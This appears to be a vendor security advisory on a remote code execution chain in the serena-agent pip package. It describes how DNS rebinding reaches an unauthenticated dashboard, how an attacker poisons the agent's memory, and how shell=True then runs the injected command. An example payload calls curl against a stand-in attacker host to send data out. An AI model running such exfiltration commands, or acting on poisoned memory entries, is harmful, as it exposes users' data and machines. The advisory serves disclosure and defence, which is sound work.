Miggo at BlackHat 2026!
Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| serena-agent | pip | < 1.5.2 | 1.5.2 |
Miggo AIRoot Cause AnalysisThe vulnerability is a remote code execution chain in the Serena agent. It stems from two primary root causes. First, the agent's web dashboard, managed in src/serena/dashboard.py, exposes several API endpoints like save_memory and shutdown on a fixed port (24282) without any authentication, CSRF, or Host header validation. This allows an attacker to remotely interact with the API. The vulnerability description highlights that a DNS rebinding attack can be used to make a victim's browser send requests to this local dashboard, bypassing same-origin policy.
The second root cause is the execute_shell_command function in src/serena/util/shell.py, which uses subprocess.Popen with the insecure shell=True parameter. An attacker can exploit the first vulnerability to call the save_memory endpoint and write a malicious payload into the agent's persistent memory. This payload is crafted to be a command, such as execute_shell_command(\"curl attacker.com/exfil?data=...\"). When the Serena agent later reads and processes this poisoned memory, it passes the attacker's command to execute_shell_command, resulting in arbitrary code execution on the victim's machine. The patch 016ccbe1c095a3eed7967737ac1d4df2754f5d96 addresses the DNS rebinding vector by adding a Host header check in the Dashboard.run method, but the core issues of unauthenticated endpoints and the dangerous shell=True usage are the fundamental vulnerabilities.
Dashboard.save_memorysrc/serena/dashboard.py
execute_shell_commandsrc/serena/util/shell.py
Dashboard.shutdownsrc/serena/dashboard.py
Dashboard.runsrc/serena/dashboard.py